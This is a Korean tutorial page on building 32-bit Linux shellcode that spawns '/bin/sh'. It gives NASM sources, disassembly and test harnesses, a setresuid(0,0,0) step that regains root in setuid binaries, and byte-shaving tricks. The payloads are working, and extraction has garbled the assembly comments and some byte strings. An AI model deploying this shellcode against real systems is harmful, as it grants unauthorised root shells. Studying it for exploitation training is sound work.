02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Similar documents
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

PowerPoint Template

Deok9_Exploit Technique

hlogin2

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

PowerPoint 프레젠테이션

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

CKKeyPro 적용가이드

No Slide Title

Microsoft PowerPoint - ch07 - 포인터 pm0415

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

강의10

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft Word - building the win32 shellcode 01.doc

PowerPoint 프레젠테이션

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

Microsoft PowerPoint - a10.ppt [호환 모드]

10.

IDA 5.x Manual hwp

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

/chroot/lib/ /chroot/etc/

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

2009년 상반기 사업계획

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

금오공대 컴퓨터공학전공 강의자료

PowerPoint 프레젠테이션

금오공대 컴퓨터공학전공 강의자료

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Microsoft PowerPoint - a5a.ppt [호환 모드]

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

Adobe Flash 취약점 분석 (CVE )

6주차.key

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

ABC 11장

ISP and CodeVisionAVR C Compiler.hwp

슬라이드 1

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft Word - FunctionCall

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

MPLAB C18 C

Microsoft Word - readme.doc

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

11장 포인터

Microsoft PowerPoint - chap03-변수와데이터형.pptx

=

hlogin7

SRC PLUS 제어기 MANUAL

강의 개요

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - lab14.pptx

BMP 파일 처리

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

슬라이드 1

The Pocket Guide to TCP/IP Sockets: C Version

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers

ch15

chap 5: Trees

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft PowerPoint - hy2-12.pptx

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

Microsoft PowerPoint - IOControl [호환 모드]

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Chapter 4. LISTS

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

PowerPoint 프레젠테이션

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

PowerPoint Template

IoT FND8 7-SEGMENT api

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

untitled

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

PowerPoint 프레젠테이션

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint - chap10-함수의활용.pptx

PowerPoint 프레젠테이션

BOF Foundation.doc

Microsoft PowerPoint - 10_Process

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

Microsoft PowerPoint - a9.ppt [호환 모드]

Transcription:

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid()) Issue C language Assembly code Smaller Shellcode ESP Register CDQ(Convert Doubleword to Quadword) instruction PUSH, POP instruction execve("/bin/sh", NULL, NULL); Related site Comments Create a shellcode that executes "/bin/sh" C language Shell 을생성하려면시스템콜을해서 "/bin/sh" 프로그램을실행해야합니다. 아래와같이 C 언어에서는 "/bin/sh" 를실행할수있는함수들이다양합니다. Other program execution functions execl int execl( const char *path, const char *arg,...); 디렉토리와파일이름이합친전체이름 인수리스트 환경설정불가 execlp int execlp( const char *file, const char *arg,...); 파일이름 인수리스트 환경설정불가 execle int execle( const char *path, const char *arg,..., char * const envp[]); 디렉토리와파일이름이합친전체이름 인수리스트 환경설정가능 execv int execv( const char *path, char *const argv[]); 디렉토리와파일이름이합친전체이름 인수배열 환경설정불가 execvp int execvp( const char *file, char *const argv[]); 파일이름 인수배열 환경설정불가 execve int execve (const char *filename, char *const argv [], char *const envp[]); 전제경로명 인수배열 환경설정가능 아래코드는해당함수들중 execve() 함수를사용하여 "/bin/sh" 프로그램을실행합니다.

shell.c #include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL; execve(argv[0], argv, NULL); 해당코드를빌드후실행하면다음과같이실행된프로그램을통해 shell 을사용할수있습니다. Run./shell lazenca0x0@ubuntu:~/shell$ gcc -o shell shell.c lazenca0x0@ubuntu:~/shell$./shell $ exit lazenca0x0@ubuntu:~/shell$ Assembly code 앞에서 C language 로작성한코드를그대로 Assembly code 로변경하면됩니다. 아래와같이 execve() 함수인자값이전달되어야합니다. 이것을어셈블하려면인자배열과환경배열이메모리상에구축돼있어야합니다. 그리고문자열 '/bin/sh' 도널바이트로끝나야합니다. 이부분도메모리상에구축되어있어야합니다. 그런데설명을보면프로그램이름을중복해서입력했는데, 이는프로그램을실행하면첫번째인수가실행한프로그램의전체이름이기때문입니다. 다시말씀드려 man() 함수의인수준 *argv[] 의첫번째문자열 argv[0] 은실행한프로그램의이름입니다. Argument info filename argv envp 실행할프로그램의문자열 ('/bin/sh') 이저장된주소 실행할프로그램의문자열 ('/bin/sh') 이저장된주소 환경배열은 Null pointer 참고로 System 함수에는 execl(), execlp (), execle (), execv (), execvp() 함수는없습니다. 해당함수들은모두 System 함수인 execve() 함수를활용해제공되는 C 표준함수들입니다. System call lazenca0x0@ubuntu:~/asm$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h grep exe #define NR_execve 11 #define NR_kexec_load 283 lazenca0x0@ubuntu:~/asm$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h grep exe #define NR_execve 59 #define NR_kexec_load 246 lazenca0x0@ubuntu:~/asm$ 첫번째, 두번째인자값으로 "/bin/sh" 를전달해야하며, 해당문자열의끝은 Null byte 가되어야합니다. 해당문제를해결하기위해 '[', ']' 기호를이용하여포인터형태 ( 역참조, dereference) 로사용할수있습니다. 아래예제의경우 "ebx 레지스터에저장된값 " 에 4 를더한메모리주소에 0 을저장합니다. 만약 "ebx 레지스터에저장된값 " 주소가아닐경우잘못된주소값을가리키기때문에에러가발생합니다. Dereference mov [ebx+4], 0 "Shellcode 의끝부분에 "/bin/sh" 를위치시켜면되지않을까?" 라고생각할수있습니다.

아래와같이취약성에의해 Shellcode 가저장될메모리영역에임의의값이저장되어있을수있습니다. 그렇기때문에 Shellcode 의끝부분에 "/bin/sh" 를위치시켜도해당문제를해결할수없습니다. Null byte Memory data String Shellcode 를메모리영역에저장전 0xAABBCCDDEEFFAABB ª»îª» Shellcode 를메모리영역에저장후 0x2f62696e2f7368AABB /bin/shª» "/bin/sh" 뒤에 null byte 가저장된경우 0x2f62696e2f736800BB /bin/sh 'argv', 'envp' 인자에는주소값이전달하기위해 'LEA' 명령어를사용할수있습니다. 'MOV' 명령어를이용해주소값을저장할수있지만 Shellcode 의크기가늘어납니다. lea instruction lea < Operand 1>, < Operand 2> 2번째피연산자의주소값을 1번째피연산자에저장합니다. Example Instruction Assembly code Raw Hex lea lea ecx, [ebx+8] 0x8D, 0x4B, 0x08 mov, add mov ecx, ebx add ecx, 8 0x89, 0xD9, 0x83, 0xC1, 0x08 앞의내용을참고하여다음과같이 "/bin/sh" 프로그램을실행하는 Shellcode 를작성할수있습니다. shellcode.s BITS 32 jmp short last ; shell "last:". shell: last: ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX. mov [ebx+7],al ; "/bin/sh" Null byte. mov [ebx+8],ebx ; [ebx+8] EBX. mov [ebx+12],eax ; [ebx+12] EAX 32 Null byte. lea ecx, [ebx+8] ; argv [ebx+8] ECX. lea edx, [ebx+12] ; envp [ebx+12] EDX. mov al, 11 ; AL execve(). int 0x80 ; call shell ; "/bin/sh" Stack. db '/bin/sh' ; call shell Stack. 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

Build & Disassemble lazenca0x0@ubuntu:~/shell$ nasm shellcode.s lazenca0x0@ubuntu:~/shell$ ndisasm shellcode 00000000 EB16 jmp short 0x18 00000002 5B pop bx 00000003 31C0 xor ax,ax 00000005 884307 mov [bp+di+0x7],al 00000008 895B08 mov [bp+di+0x8],bx 0000000B 89430C mov [bp+di+0xc],ax 0000000E 8D4B08 lea cx,[bp+di+0x8] 00000011 8D530C lea dx,[bp+di+0xc] 00000014 B00B mov al,0xb 00000016 CD80 int 0x80 00000018 E8E5FF call word 0x0 0000001B FF db 0xff 0000001C FF2F jmp word far [bx] 0000001E 62696E bound bp,[bx+di+0x6e] 00000021 2F das 00000022 7368 jnc 0x8c lazenca0x0@ubuntu:~/shell$ 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell2.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf f\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 아래와같이 Shellcode 에의해 '/bin/sh' 가실행되어 shell 을사용할수있게되었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell2 -z execstack -m32 shell2.c lazenca0x0@ubuntu:~/shell$./shell2 Shellcode len : 36 $ Change permissions(seteuid()) Issue 일부 Setuid 가설정된프로그램에서 root 권한으로초기설정후 seteuid() 함수를이용하여일반권한을변경하는경우가있습니다. 이러한경우 Shellcode 를사용해 shell 을획득하더라도 seteuid() 함수에설정된권한으로 shell 을실행하게됩니다. 앞에서설명한내용을아래코드를사용해확인할수있습니다. shellcode 를실행하기전에 'seteuid(1000)' 함수를이용해프로그램의권한을일반권한으로변경하였습니다.

shell3.c #include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xe5\xff\xf f\xff/bin/sh"; unsigned char code[] = ""; void main(){ seteuid(1000); int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); void (*function)() = (void(*)())code; function(); 아래와같이프로그램의권한을 root 로설정하고, setuid 를설정하였으나 seteuid() 함수에의해권한이변경되었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell3 -z execstack -m32 shell3.c lazenca0x0@ubuntu:~/shell$ sudo chown root:root./shell3 lazenca0x0@ubuntu:~/shell$ sudo chmod 4755./shell3 lazenca0x0@ubuntu:~/shell$ ls -al total 44 drwxrwxr-x 2 lazenca0x0 lazenca0x0 4096 Feb 21 00:44. drwxr-xr-x 24 lazenca0x0 lazenca0x0 4096 Feb 15 00:37.. -rwsr-xr-x 1 root root 7568 Feb 21 00:44 shell3 -rw-rw-r-- 1 lazenca0x0 lazenca0x0 431 Feb 21 00:43 shell3.c lazenca0x0@ubuntu:~/shell$./shell3 Shellcode len : 36 $ 해당문제는 'setresuid' 시스템콜을사용하여해결할수있습니다. 해당함수는호출한프로세스의실제사용자 ID(real user ID), 유효사용자 ID(effective user ID), 저장된 set-user-id 를설정합니다. 즉, 해당함수를이용해 seteuid() 함수에의해권한이변경된프로세스의권한을변경할수있습니다. SYNOPSIS int setresuid(uid_t ruid, uid_t euid, uid_t suid); C language 아래와같이 C 언어로코드를작성합니다. setresuid() 함수를이용하여 root 권한을설정후 "/bin/sh" 프로그램을실행합니다. shell4.c #include <unistd.h> int main() { char *argv[2] = {"/bin/sh", NULL; setresuid(0, 0, 0); execve(argv[0], argv, NULL);

Assembly code 앞에서 C 언어로작성한코드를 Assembly code 로변경합니다. 기존에작성하였던 Shellcode 에 setresuid() 함수부분만추가합니다. 시스템번호는아래와같습니다. " NR_setresuid" : 164 " NR_setresuid32" : 208 두함수의차이점은지원하는유저, 그룹 ID 의 bit 수차이입니다. 16 bit, 32bit 여기에서는둘중어떤것을사용해도상관없습니다. unistd_32.h grep setresuid lazenca0x0@ubuntu:~/shell$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h grep setresuid #define NR_setresuid 164 #define NR_setresuid32 208 lazenca0x0@ubuntu:~/shell$ shellcode2.s BITS 32 jmp short last ; shell "last:". shell: last: ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. xor edx, edx ; EDX 0. mov al, 164 ; AL setresuid(). int 0x80 ;, root '0'. ; int execve(const char *filename, char *const argv [], char *const envp[]) pop ebx ; EBX. mov [ebx+7],al ; "/bin/sh" Null byte. mov [ebx+8],ebx ; [ebx+8] EBX. mov [ebx+12],eax ; [ebx+12] EAX 32 Null byte. lea ecx, [ebx+8] ; argv [ebx+8] ECX. lea edx, [ebx+12] ; envp [ebx+12] EDX. mov al, 11 ; AL execve(). int 0x80 ; call shell ; "/bin/sh" Stack. db '/bin/sh' ; call shell Stack. 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

Build & Disassemble lazenca0x0@ubuntu:~/shell$ nasm shellcode2.s lazenca0x0@ubuntu:~/shell$ ndisasm shellcode2 00000000 EB22 jmp short 0x24 00000002 31C0 xor ax,ax 00000004 31DB xor bx,bx 00000006 31C9 xor cx,cx 00000008 31D2 xor dx,dx 0000000A B0A4 mov al,0xa4 0000000C CD80 int 0x80 0000000E 5B pop bx 0000000F 31C0 xor ax,ax 00000011 884307 mov [bp+di+0x7],al 00000014 895B08 mov [bp+di+0x8],bx 00000017 89430C mov [bp+di+0xc],ax 0000001A 8D4B08 lea cx,[bp+di+0x8] 0000001D 8D530C lea dx,[bp+di+0xc] 00000020 B00B mov al,0xb 00000022 CD80 int 0x80 00000024 E8D9FF call word 0x0 00000027 FF db 0xff 00000028 FF2F jmp word far [bx] 0000002A 62696E bound bp,[bx+di+0x6e] 0000002D 2F das 0000002E 7368 jnc 0x98 lazenca0x0@ubuntu:~/shell$ 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell4.c #include<stdio.h> #include<string.h> #include <unistd.h> unsigned char shellcode [] = "\xeb\x22\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4 b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); seteuid(1000); strcpy(code,shellcode); (*(void(*)()) code)(); Shellcode 에추가된 "setresuid(0,0,0)" 코드에의해프로세스의 uid 가 root 로복구되었습니다. Build & run lazenca0x0@ubuntu:~/shell$ gcc -o shell4 -z execstack -m32 shell4.c lazenca0x0@ubuntu:~/shell$ sudo chown root:root./shell4 lazenca0x0@ubuntu:~/shell$ sudo chmod 4755./shell4 lazenca0x0@ubuntu:~/shell$./shell4 Shellcode len : 48 # id uid=0(root) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113 (lpadmin),128(sambashare) #

Smaller Shellcode 지금까지만든 Shellcode 는 Code 의길이를신경쓰지않고개발하였습니다. 취약성에의해공격자가값을저장할수있는메모리영역의크기는모두다릅니다. 사용가능한메모리공간이클수도있지만매우작을수도있기때문에 Shellcode 의크기는작은것이활용하기좋습니다. ESP Register ESP 레지스터는스택의최상단주소값을저장하고있는스택포인터입니다. PUSH 명령어가실행되면 Stack 에피연산자값을저장하고, ESP 레지스터에새로운최상위로주소값이저장됩니다. "ESP 레지스터에저장된주소값 " - 4 = PUSH 명령어실행후최상위주소값 POP 명령어가실행되면피연산자에 ESP 레지스터에저장된주소영역에저장된값을저장하고, ESP 레지스터에새로운최상위로주소값이저장됩니다. "ESP 레지스터에저장된주소값 " + 4 = POP 명령어실행후최상위주소값 ESP 레지스터와 PUSH 명령어를이용하여 "/bin/sh" 문자열을저장하고, 주소값을추출할수있습니다. PUSH 명령어를이용해 "/bin//sh" 문자열을 Stack 에저장합니다. Null byte 를제거하기위해 "/sh" 문자앞에 '/' 문자를추가합니다. PUSH 명령어에의해 ESP 레지스터는 "/bin//sh" 문자열의시작주소를저장하고있습니다. 즉, ESP 레지스터를이용해 Stack 에저장된 "/bin//sh" 문자열의주소를얻을수있습니다. 이로인해 "jmp short last" 명령어는사용하지않아도됩니다. 다음과같이 Shellcode 를작성할수있습니다. shellcode3.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. xor edx, edx ; EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) mov al, 11 ; execve() 11 AL. push ecx ; Null "//sh". push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; ESP "/bin//sh" EBX. ; 2 3 push edx ; Null. mov edx, esp ; 3 Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; 2 int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

Build & Disassemble lazenca0x0@ubuntu:~/shell$ nasm shellcode3.s lazenca0x0@ubuntu:~/shell$ ndisasm shellcode3 00000000 31C0 xor ax,ax 00000002 31DB xor bx,bx 00000004 31C9 xor cx,cx 00000006 31D2 xor dx,dx 00000008 B0A4 mov al,0xa4 0000000A CD80 int 0x80 0000000C 31C0 xor ax,ax 0000000E B00B mov al,0xb 00000010 51 push cx 00000011 682F2F push word 0x2f2f 00000014 7368 jnc 0x7e 00000016 682F62 push word 0x622f 00000019 696E89E352 imul bp,[bp-0x77],word 0x52e3 0000001E 89E2 mov dx,sp 00000020 53 push bx 00000021 89E1 mov cx,sp 00000023 CD80 int 0x80 lazenca0x0@ubuntu:~/shell$ 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell5.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//shh /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); Shellcode 11 byte. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell5 -z execstack -m32 shell5.c lazenca0x0@ubuntu:~/shell$./shell5 Shellcode len : 37 $ CDQ(Convert Doubleword to Quadword) instruction CDQ(Convert Doubleword to Quadword) 라는단일바이트 x86 명령이있습니다. CDQ 명령은 EAX 레지스터에저장된값의부호비트 (Sign Flag) 를 EDX 레지스터에확장합니다. EAX 에저장된값이양수 ( ) 인경우 CDQ 명령어에의해 EDX 에 0x00000000 이저장됩니다. SF = 0 EAX 에저장된값이음수 (SF = 1) 인경우 CDQ 명령어에의해 EDX 에 0xFFFFFFFF 이저장됩니다.

Positive number mov eax, 0x5 ; eax = 0x5, SF = 0 cdq ; edx = 0x00000000 Negative number mov eax, 0x5 ; eax = 0x5 neg eax ; eax = 0xFFFFFFFB, SF = 1 cdq ; edx = 0xFFFFFFFF XOR 명령어로 EDX 의값을 0 으로변경하는대신에 CDQ 명령어를이용할수있습니다. XOR 명령어를표현하기위해 2 byte 를사용하지만, CDQ 명령어는 1 byte 를사용합니다. 즉, CDQ 명령어를이용해 Shellcode 의크기를 1 byte 를줄일수있습니다. CDQ instruction xor edx,edx ; 31 D2 cdq ; 99 다음과같이 Shellcode 를작성할수있습니다. shellcode4.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) mov al, 11 ; execve() 11 AL. push ecx ; Null "//sh". push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; ESP "/bin//sh" EBX. ; 2 3 push edx ; Null. mov edx, esp ; 3 Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; 2 int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) 앞에코드를빌드하면아래와같이 Shellcode 를획득할수있습니다.

Build & Disassemble lazenca0x0@ubuntu:~/shell$ nasm shellcode4.s lazenca0x0@ubuntu:~/shell$ ndisasm shellcode4 00000000 31C0 xor ax,ax 00000002 31DB xor bx,bx 00000004 31C9 xor cx,cx 00000006 99 cwd 00000007 B0A4 mov al,0xa4 00000009 CD80 int 0x80 0000000B 31C0 xor ax,ax 0000000D B00B mov al,0xb 0000000F 51 push cx 00000010 682F2F push word 0x2f2f 00000013 7368 jnc 0x7d 00000015 682F62 push word 0x622f 00000018 696E89E352 imul bp,[bp-0x77],word 0x52e3 0000001D 89E2 mov dx,sp 0000001F 53 push bx 00000020 89E1 mov cx,sp 00000022 CD80 int 0x80 lazenca0x0@ubuntu:~/shell$ 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell6.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68//sh\x68 /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 1 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell6 -z execstack -m32 shell6.c lazenca0x0@ubuntu:~/shell$./shell6 Shellcode len : 36 $ PUSH, POP instruction PUSH, POP 명령어를이용해코드를줄일수있습니다. 앞에서시스템콜을저장하기위해 XOR, MOV 명령어를사용하였습니다. 해당코드를 PUSH, POP 명령어를사용하여 Shellcode 의크기를 1 byte 줄일수있습니다. PUSH 명령어로값을저장할때저장되는값의크기를설정하는것이좋습니다. 유효한크기로는 1 바이트는 BYTE, 2 바이트 WORD, 4 바이트 DWORD 가있습니다.

XOR, MOV instruction xor eax,eax ; 31 C0 mov al,0xb ; B0 0B PUSH, POP instruction push byte +0xb ; 6A 0B pop eax ; 58 다음과같이 Shellcode 를작성할수있습니다. shellcode5.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 11 Stack. pop eax ; Stack 11() EAX. push ecx ; Null Stack. push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; execve() 1 (EBX) "/bin//sh" (ESP). ; 2 3 push edx ; Null. mov edx, esp ; execve() 3 (EDX) Null. push ebx ; Stack "/bin//sh". mov ecx, esp ; execve() 2 (ECX). int 0x80 ; execve("/bin//sh",["/bin//sh",null],[null]) "/bin//sh" 문자열을 Stack 에저장할때 Little-endian format 으로저장해야합니다. Example String Hex Little-endian format //sh 0x2f2f7368 0x68732f2f /bin 0x2f62696e 0x6e69622f 아래코드를이용해해당 Shellcode 를테스트할수있습니다.

shell7.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68//sh\x68 /bin\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 1 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~/shell$ gcc -o shell7 -z execstack -m32 shell7.c lazenca0x0@ubuntu:~/shell$./shell7 Shellcode len : 35 $ execve("/bin/sh", NULL, NULL); execve() "/bin/sh" 2. 2 Null. execvenull.c #include <unistd.h> int main() { execve("/bin/sh", NULL, NULL); Build & Run lazenca0x0@ubuntu:~$ gcc -o null execvenull.c execvenull.c: In function 'main': execvenull.c:4:9: warning: null argument where non-null required (argument 2) [-Wnonnull] execve("/bin/sh", NULL, NULL); ^ lazenca0x0@ubuntu:~$./null $ exit lazenca0x0@ubuntu:~$ execve(2) - Linux manual page - man7.org http://man7.org/linux/man-pages/man2/execve.2.html

다음과같이 Shellcode 를작성할수있습니다. shellcode6.s BITS 32 ; setresuid(uid_t ruid, uid_t euid, uid_t suid); xor ebx, ebx ; EBX 0. xor ecx, ecx ; ECX 0. cdq ; EAX (Sign Flag) EDX 0. ; execve() 3 (EDX) Null. mov al, 0xa4 ; setresuid() 164(0xa4) AL. int 0x80 ; setresuid(0, 0, 0) ; execve(const char *filename, char *const argv [], char *const envp[]) push BYTE 11 ; execve() 11 Stack. pop eax ; Stack 11() EAX. push ecx ; Null Stack. push 0x68732f2f ; "//sh". push 0x6e69622f ; "/bin". mov ebx, esp ; execve() 1 (EBX) "/bin//sh" (ESP). ; 2 3 mov ecx, edx ; execve() 2 (ECX) Null. int 0x80 ; execve("/bin//sh",null,null) 아래코드를이용해해당 Shellcode 를테스트할수있습니다. shell8.c #include<stdio.h> #include<string.h> unsigned char shellcode [] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\xb\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89 \xd1\xcd\x80"; unsigned char code[] = ""; void main(){ int len = strlen(shellcode); printf("shellcode len : %d\n",len); strcpy(code,shellcode); (*(void(*)()) code)(); 앞에서작성한 Shellcode 에서 4 byte 가줄어들었습니다. Build & Run lazenca0x0@ubuntu:~$ gcc -o shell8 -z execstack -m32 shell8.c lazenca0x0@ubuntu:~$./shell8 Shellcode len : 31 $ exit 